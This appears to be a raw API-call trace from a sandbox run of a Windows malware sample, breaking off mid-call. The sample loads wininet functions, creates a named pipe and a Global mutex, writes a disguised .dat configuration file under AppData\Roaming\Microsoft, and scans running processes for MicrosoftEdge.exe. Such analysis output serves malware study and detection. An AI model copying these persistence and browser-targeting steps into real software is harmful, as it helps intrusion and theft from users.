[0309.519] ReleaseMutex (hMutex=0x358) returned 1 [0309.519] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.519] ReleaseMutex (hMutex=0x358) returned 1 [0309.519] lstrlenW (lpString="C:\\WINDOWS") returned 10 [0309.519] lstrlenW (lpString="\\system32\\config\\systemprofile") returned 30 [0309.519] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x52) returned 0x485f8b8 [0309.519] lstrcatW (in: lpString1="", lpString2="C:\\WINDOWS" | out: lpString1="C:\\WINDOWS") returned="C:\\WINDOWS" [0309.519] lstrcatW (in: lpString1="C:\\WINDOWS", lpString2="\\system32\\config\\systemprofile" | out: lpString1="C:\\WINDOWS\\system32\\config\\systemprofile") returned="C:\\WINDOWS\\system32\\config\\systemprofile" [0309.520] StrStrIW (lpFirst="C:\\Users\\FD1HVy", lpSrch="C:\\WINDOWS\\system32\\config\\systemprofile") returned 0x0 [0309.520] lstrlenW (lpString="C:\\WINDOWS\\system32\\config\\systemprofile") returned 40 [0309.520] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f8b8 | out: hHeap=0x47e0000) returned 1 [0309.520] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x354 [0309.520] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1000) returned 0x47e7320 [0309.520] GetCurrentThread () returned 0xfffffffe [0309.520] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0309.664] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2bbf778 | out: lpWSAData=0x2bbf778) returned 0 [0309.674] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x36c [0309.674] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x340 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f808 [0309.674] lstrlenA (lpString="/t3") returned 3 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485f818 [0309.674] lstrlenA (lpString="/t3") returned 3 [0309.674] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100) returned 0x485f8b8 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f808 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x401) returned 0x47e8328 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485fae0 [0309.674] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fb40 [0309.675] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0309.675] lstrlenA (lpString="kernel32.dll") returned 12 [0309.675] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fae0 | out: hHeap=0x47e0000) returned 1 [0309.675] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0309.675] lstrlenA (lpString="GetProcAddress") returned 14 [0309.675] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb40 | out: hHeap=0x47e0000) returned 1 [0309.675] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fb70 [0309.675] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x732d0000 [0309.675] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fa50 [0309.675] GetProcAddress (hModule=0x732d0000, lpProcName="InternetOpenA") returned 0x733ef1a0 [0309.676] lstrlenA (lpString="InternetOpenA") returned 13 [0309.676] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa50 | out: hHeap=0x47e0000) returned 1 [0309.676] lstrlenA (lpString="wininet.dll") returned 11 [0309.676] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb70 | out: hHeap=0x47e0000) returned 1 [0309.676] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f850 [0309.676] GetProcAddress (hModule=0x732d0000, lpProcName="InternetOpenUrlA") returned 0x734ce8c0 [0309.676] lstrlenA (lpString="InternetOpenUrlA") returned 16 [0309.676] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.676] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f850 [0309.676] GetProcAddress (hModule=0x732d0000, lpProcName="InternetCloseHandle") returned 0x733dd000 [0309.676] lstrlenA (lpString="InternetCloseHandle") returned 19 [0309.676] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.676] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fa80 [0309.677] GetProcAddress (hModule=0x732d0000, lpProcName="HttpQueryInfoA") returned 0x73419de0 [0309.677] lstrlenA (lpString="HttpQueryInfoA") returned 14 [0309.677] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa80 | out: hHeap=0x47e0000) returned 1 [0309.677] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f850 [0309.677] GetProcAddress (hModule=0x732d0000, lpProcName="InternetReadFile") returned 0x73403a70 [0309.677] lstrlenA (lpString="InternetReadFile") returned 16 [0309.677] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.677] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f850 [0309.677] GetProcAddress (hModule=0x732d0000, lpProcName="InternetSetOptionA") returned 0x7341a310 [0309.677] lstrlenA (lpString="InternetSetOptionA") returned 18 [0309.677] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.677] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f850 [0309.678] GetProcAddress (hModule=0x732d0000, lpProcName="InternetQueryOptionA") returned 0x7341c4c0 [0309.678] lstrlenA (lpString="InternetQueryOptionA") returned 20 [0309.678] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.678] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f850 [0309.678] GetProcAddress (hModule=0x732d0000, lpProcName="InternetConnectA") returned 0x734ce5b0 [0309.678] lstrlenA (lpString="InternetConnectA") returned 16 [0309.678] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.678] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f850 [0309.678] GetProcAddress (hModule=0x732d0000, lpProcName="HttpOpenRequestA") returned 0x734edba0 [0309.678] lstrlenA (lpString="HttpOpenRequestA") returned 16 [0309.678] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.678] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f850 [0309.678] GetProcAddress (hModule=0x732d0000, lpProcName="HttpSendRequestA") returned 0x7346dd00 [0309.678] lstrlenA (lpString="HttpSendRequestA") returned 16 [0309.678] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.679] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f850 [0309.679] GetProcAddress (hModule=0x732d0000, lpProcName="InternetCrackUrlA") returned 0x733f2150 [0309.679] lstrlenA (lpString="InternetCrackUrlA") returned 17 [0309.679] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.679] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f850 [0309.679] GetProcAddress (hModule=0x732d0000, lpProcName="InternetWriteFile") returned 0x733ea950 [0309.679] lstrlenA (lpString="InternetWriteFile") returned 17 [0309.679] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.679] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1d) returned 0x485f850 [0309.679] GetProcAddress (hModule=0x732d0000, lpProcName="InternetGetLastResponseInfoA") returned 0x734ce760 [0309.679] lstrlenA (lpString="InternetGetLastResponseInfoA") returned 28 [0309.679] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.679] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100) returned 0x47e8738 [0309.679] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485fab0 [0309.679] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x73130000 [0309.695] lstrlenA (lpString="urlmon.dll") returned 10 [0309.695] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fab0 | out: hHeap=0x47e0000) returned 1 [0309.695] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f850 [0309.695] GetProcAddress (hModule=0x73130000, lpProcName="ObtainUserAgentString") returned 0x7321e4a0 [0309.695] lstrlenA (lpString="ObtainUserAgentString") returned 21 [0309.696] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.696] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x47e8738, cbSize=0x2bbf6f0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x2bbf6f0) returned 0x0 [0309.788] FreeLibrary (hLibModule=0x73130000) returned 1 [0309.806] _vsnprintf (in: _DstBuf=0x2bbf604, _MaxCount=0x100, _Format="\\\\.\\pipe\\%ssp", _ArgList=0x2bbf5f8 | out: _DstBuf="\\\\.\\pipe\\xafpqkosp") returned 18 [0309.806] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x80000) returned 0x4479020 [0309.810] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2bbf5d0, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2bbf5e0 | out: pSid=0x2bbf5e0*=0x2be21d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0309.810] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2bbf5c8, nSubAuthorityCount=0x2, nSubAuthority0=0x2, nSubAuthority1=0x1, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2bbf5e4 | out: pSid=0x2bbf5e4*=0x2be21e8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0xf), SubAuthority=([0]=0x2, [1]=0x0))) returned 1 [0309.810] SetEntriesInAclA () returned 0x0 [0309.811] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x2beba80 [0309.811] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x2beba80, dwRevision=0x1 | out: pSecurityDescriptor=0x2beba80) returned 1 [0309.811] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x2beba80, bDaclPresent=1, pDacl=0x2beeb50, bDaclDefaulted=0 | out: pSecurityDescriptor=0x2beba80) returned 1 [0309.811] CreateNamedPipeA (lpName="\\\\.\\pipe\\xafpqkosp" (normalized: "\\device\\namedpipe\\xafpqkosp"), dwOpenMode=0x80003, dwPipeMode=0x6, nMaxInstances=0xff, nOutBufferSize=0x80000, nInBufferSize=0x80000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x2bbf704) returned 0x39c [0309.812] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0309.815] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bdc678, lpbSaclPresent=0x2bbf5e4, pSacl=0x2bbf5ec, lpbSaclDefaulted=0x2bbf5e8 | out: lpbSaclPresent=0x2bbf5e4, pSacl=0x2bbf5ec, lpbSaclDefaulted=0x2bbf5e8) returned 1 [0309.815] SetSecurityInfo () returned 0x0 [0309.817] LocalFree (hMem=0x2bdc678) returned 0x0 [0309.821] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x7530) returned 0x0 [0309.821] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName=0x0) returned 0x390 [0309.821] GetLastError () returned 0x0 [0309.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2ac5198, lpParameter=0x47e7320, dwCreationFlags=0x0, lpThreadId=0x47e7324 | out: lpThreadId=0x47e7324*=0xe6c) returned 0x38c [0309.822] SetThreadPriority (hThread=0x38c, nPriority=-1) returned 1 [0309.822] ReleaseMutex (hMutex=0x390) returned 1 [0309.822] ReleaseMutex (hMutex=0x354) returned 1 [0309.822] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x7530) returned 0x0 [0309.822] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102 [0309.822] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName=0x0) returned 0x388 [0309.822] GetLastError () returned 0x0 [0309.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2ac5198, lpParameter=0x47e7340, dwCreationFlags=0x0, lpThreadId=0x47e7344 | out: lpThreadId=0x47e7344*=0x10d0) returned 0x364 [0309.822] SetThreadPriority (hThread=0x364, nPriority=-1) returned 1 [0309.823] ReleaseMutex (hMutex=0x388) returned 1 [0309.823] ReleaseMutex (hMutex=0x354) returned 1 [0309.826] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.826] ReleaseMutex (hMutex=0x358) returned 1 [0309.826] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x20) returned 0x485f850 [0309.826] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x40) returned 0x47e8840 [0309.826] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.826] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x60) returned 0x47e8888 [0309.826] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x80) returned 0x47e88f0 [0309.827] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8888 | out: hHeap=0x47e0000) returned 1 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa0) returned 0x47e8840 [0309.827] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e88f0 | out: hHeap=0x47e0000) returned 1 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc0) returned 0x47e88f0 [0309.827] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe0) returned 0x47e89b8 [0309.827] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e88f0 | out: hHeap=0x47e0000) returned 1 [0309.827] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.827] ReleaseMutex (hMutex=0x358) returned 1 [0309.827] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.827] ReleaseMutex (hMutex=0x358) returned 1 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x66) returned 0x47e8840 [0309.827] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x24) returned 0x485f850 [0309.827] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Internet Explorer\\CodeIntegrity", ulOptions=0x0, samDesired=0x2, phkResult=0x2bbf70c | out: phkResult=0x2bbf70c*=0x0) returned 0x2 [0309.828] lstrlenA (lpString="S") returned 1 [0309.828] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0309.828] lstrlenA (lpString="D") returned 1 [0309.828] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.828] lstrlenA (lpString="1") returned 1 [0309.828] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.828] lstrlenA (lpString="1") returned 1 [0309.828] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x3) returned 0x485f828 [0309.828] ReleaseMutex (hMutex=0x358) returned 1 [0309.829] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.829] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0309.829] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x42) returned 0x47e8840 [0309.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchWideChar=-1, lpMultiByteStr=0x47e8840, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", lpUsedDefaultChar=0x0) returned 65 [0309.829] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0309.829] CharUpperBuffA (in: lpsz="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchLength=0x40 | out: lpsz="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 0x40 [0309.829] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0309.829] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] lstrlenA (lpString="user32.dll") returned 10 [0309.830] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x47) returned 0x47e8890 [0309.830] _vsnprintf (in: _DstBuf=0x2bbecb0, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x2bbec2c | out: _DstBuf="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0309.830] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0309.830] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8890 | out: hHeap=0x47e0000) returned 1 [0309.830] lstrlenA (lpString="Global\\") returned 7 [0309.830] lstrlenA (lpString="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0309.830] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x2e) returned 0x485f850 [0309.830] lstrcatA (in: lpString1="", lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0309.830] lstrcatA (in: lpString1="Global\\", lpString2="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" | out: lpString1="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" [0309.831] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 0x344 [0309.831] GetLastError () returned 0x0 [0309.831] lstrlenA (lpString="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 45 [0309.831] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.831] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0309.831] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0309.831] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat")) returned 0x20 [0309.831] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x448) returned 0x47e8aa0 [0309.831] lstrcpynW (in: lpString1=0x47e8aa0, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", iMaxLength=512 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0309.831] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100000) returned 0x4d7d020 [0309.835] lstrlenA (lpString="xafpqko") returned 7 [0309.835] _vsnprintf (in: _DstBuf=0x2bbf674, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf66c | out: _DstBuf="10") returned 2 [0309.835] lstrlenA (lpString="10") returned 2 [0309.835] lstrlenA (lpString="spx155") returned 6 [0309.835] _vsnprintf (in: _DstBuf=0x2bbf674, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf66c | out: _DstBuf="11") returned 2 [0309.835] lstrlenA (lpString="11") returned 2 [0309.835] lstrlenA (lpString="2") returned 1 [0309.835] _vsnprintf (in: _DstBuf=0x2bbf674, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf66c | out: _DstBuf="1") returned 1 [0309.835] lstrlenA (lpString="1") returned 1 [0309.835] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0309.835] _vsnprintf (in: _DstBuf=0x2bbf674, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf66c | out: _DstBuf="2") returned 1 [0309.835] lstrlenA (lpString="2") returned 1 [0309.835] lstrlenA (lpString="1597658723") returned 10 [0309.835] _vsnprintf (in: _DstBuf=0x2bbf674, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf66c | out: _DstBuf="50") returned 2 [0309.835] lstrlenA (lpString="50") returned 2 [0309.835] lstrlenA (lpString="1") returned 1 [0309.835] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x50) returned 0x47e8840 [0309.835] lstrlenA (lpString="kernel32.dll") returned 12 [0309.836] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0309.837] WriteFile (in: hFile=0x3b4, lpBuffer=0x47e8840*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2bbf550, lpOverlapped=0x0 | out: lpBuffer=0x47e8840*, lpNumberOfBytesWritten=0x2bbf550*=0x50, lpOverlapped=0x0) returned 1 [0309.838] CloseHandle (hObject=0x3b4) returned 1 [0309.839] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8840 | out: hHeap=0x47e0000) returned 1 [0309.852] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x4d7d020 | out: hHeap=0x47e0000) returned 1 [0309.869] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8aa0 | out: hHeap=0x47e0000) returned 1 [0309.869] ReleaseMutex (hMutex=0x358) returned 1 [0309.869] ReleaseMutex (hMutex=0x344) returned 1 [0309.869] CloseHandle (hObject=0x344) returned 1 [0309.869] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x24) returned 0x485f850 [0309.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0309.888] Process32FirstW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0309.889] StrCmpIW (psz1="[System Process]", psz2="MicrosoftEdge.exe") returned -1 [0309.889] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0309.889] StrCmpIW (psz1="System", psz2="MicrosoftEdge.exe") returned 1 [0309.889] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0309.890] StrCmpIW (psz1="smss.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.890] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.890] StrCmpIW (psz1="csrss.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.890] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0309.891] StrCmpIW (psz1="wininit.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.891] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0309.892] StrCmpIW (psz1="csrss.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.892] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0309.892] StrCmpIW (psz1="winlogon.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.892] Process32NextW 